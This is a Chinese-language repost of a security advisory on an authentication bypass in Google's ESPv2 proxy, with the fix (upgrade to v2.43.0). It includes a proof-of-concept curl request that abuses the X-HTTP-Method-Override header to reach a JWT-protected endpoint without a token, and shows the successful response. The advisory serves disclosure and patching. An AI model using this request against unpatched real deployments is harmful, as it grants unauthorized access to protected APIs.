通过“X-HTTP-Method-Override”标头绕过 JWT 身份验证
2023-6-21 08:2:50
Author: Ots安全(查看原文)
阅读量:18
收藏
ESPv2 包含身份验证绕过漏洞。API 客户端可以制作恶意X-HTTP-Method-Override标头值以在特定情况下绕过 JWT 身份验证。X-HTTP-Method-Override作为参考,下面复制了有关 JWT 身份验证的背景信息。在某些情况下(例如,当服务或其使用者位于过分热心的公司防火墙后面时,或者如果主要使用者是网页),可能只有 和 HTTP 方法GET可用POST。在这种情况下,可以通过X-HTTP-Method-Override在请求中传递标头来模拟缺失的动词。例如,API 客户端可以通过以下请求发送PUT请求:POSTcurl --request POST \
--header "X-HTTP-Method-Override: PUT" \
--header "Content-Type: application/json" \
--data '{"username":"xyz"}' \
https://my-endpoint.com/api
如果您遵循以下任何 OpenAPI 或 gRPC 教程,ESPv2 将使用 JWT 身份验证:https://cloud.google.com/endpoints/docs/openapi/authenticating-users-firebasehttps://cloud.google.com/endpoints/docs/openapi/authenticating-users-auth0https://cloud.google.com/endpoints/docs/openapi/authenticating-users-oktahttps://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-idhttps://cloud.google.com/endpoints/docs/openapi/authenticating-users-customhttps://cloud.google.com/endpoints/docs/openapi/service-account-authentication如果两个条件都为真,ESPv2 允许恶意请求绕过身份验证:- 请求的 HTTP 方法不在API服务定义中(OpenAPI 规范或 gRPCgoogle.api.http原型注释)。
- 指定的X-HTTP-Method-Override是 API 服务定义中的有效 HTTP 方法。
ESPv2 会在不检查 JWT 的情况下将请求转发到您的后端。攻击者可以制作具有恶意X-HTTP-Method-Override值的请求,使他们能够绕过指定的 JWT。使用 API 密钥限制 API 访问按预期工作并且不受此漏洞的影响。考虑一个示例,其中一个简单的 REST API 服务POST在 path 处接受请求/restricted。@app.route("/restricted", methods=['POST'])
def restricted():
message = "Accessing restricted message."
payload = request.get_json().get('payload', '')
return jsonify({'method':'POST', 'message': message, 'payload': payload})
该服务置于 ESPv2 之后,ESPv2 配置为POST仅接受来自提供有效 JWT 令牌的客户端的请求。以下使用 Google ID 令牌对用户进行身份验证:# config.yaml
swagger: "2.0"
info:
title: "restrictedAPI"
version: "1.0.0"
paths:
"/restricted":
post:
summary: "Restricted path POST"
operationId: "restrictedPost"
security:
- google_id_token: []
securityDefinitions:
google_id_token:
authorizationUrl: ""
flow: "implicit"
type: "oauth2"
x-google-issuer: "https://accounts.google.com"
x-google-jwks_uri: "https://www.googleapis.com/oauth2/v3/certs"
x-google-audiences: "XXXXXXXXXXX.apps.googleusercontent.com"
如果一个恶意的 API 客户端发出PUT请求并传递标头POST中的方法,X-HTTP-Method-Override如下所示:curl --request PUT \
--header "X-HTTP-Method-Override: POST" \
--header "Content-Type: application/json" \
--data '{"payload":"compromised"}' \
https://url-to-espv2.com
恶意客户端成功绕过Using Google ID tokens to authenticate users而无需指定 JWT:{"message":"Accessing restricted method.","method":"POST","payload":"compromised"}
升级部署以发布 v2.43.0 或更高版本。此版本确保发生 JWT 身份验证,即使调用者指定x-http-method-override.x-http-method-overridev2.43.0+ 仍然支持。API 客户端可以继续将此标头发送到 ESPv2。- 向 ESPv2 团队披露的日期:2023-03-14
原文地址:https://github.com/GoogleCloudPlatform/esp-v2/security/advisories/GHSA-6qmp-9p95-fc5f
文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247499091&idx=4&sn=4b0547a549619919a64a5cc47b587d30&chksm=9badb418acda3d0ecc562a4d4e51000032b53914824371885422524947fb1d002f9f9636c0ee#rd
如有侵权请联系:admin#unsafe.sh